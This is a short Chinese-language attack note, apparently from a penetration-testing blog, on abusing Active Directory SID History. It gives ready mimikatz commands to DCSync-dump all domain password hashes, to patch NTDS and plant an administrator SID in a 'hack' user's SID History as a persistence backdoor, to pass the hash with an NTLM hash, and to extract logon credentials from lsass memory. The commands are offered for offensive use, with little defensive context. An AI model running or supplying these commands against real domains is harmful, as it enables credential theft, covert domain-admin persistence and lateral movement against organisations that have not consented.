SID History 滥用

SID History 是在域迁移过程中需要使用的一个属性

如果将 A 域中的域用户迁移到 B 域中,那么在 B 域中该用户的 SID 会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源

而 SID History 的作用是在域迁移过程中保持域用户的访问权限

如果系统将其原来的 SID 添加到迁移后用户的 SID History 属性中,此时该对象将保留在原来域的 SID 对应的访问权限

上图是 SID History 的滥用示例,可以看到 yuxuan 具有 Administrator 的 sid history ,那么该用户便保留了域管理员的访问权限,于是我们就可以通过这个滥用直接攻击 DC

如登陆 yuxuan 账号后,通过 SID History 滥用向域控 DC 发起请求 dump 所有用户的账户和密码哈希

1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

mimikatz 添加 SID History 后门

此外,如果已经拿下了域管账号,一种域权限维持的方法是将域管的 SID 添加到 hack 用户的 SID History 属性中,使迁移的后的用户保持原有权限、能够访问其原来可以访问的资源,实现权限持久化

1
2
3
4
5
privilege::debug
# 修复 NTDS 服务,否则无法将高权限的 SID 注入低权限用户的 SID History 属性
sid::patch
# 将域管理员 administrator 的 SID 添加到用户 hack 的 SID History属性 中
sid::add /sam::hack /new:administrator

mimikatz 进行 PTH

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:2c66200c70475bd322b880f813f34d7a" "exit"

mimikatz 导出用户凭据

提取当前计算机上 lsass 进程内存中的登陆用户的凭证信息

1
2
privilege::debug        # 提升至 DebugPrivilege 权限
sekurlsa::logonpasswords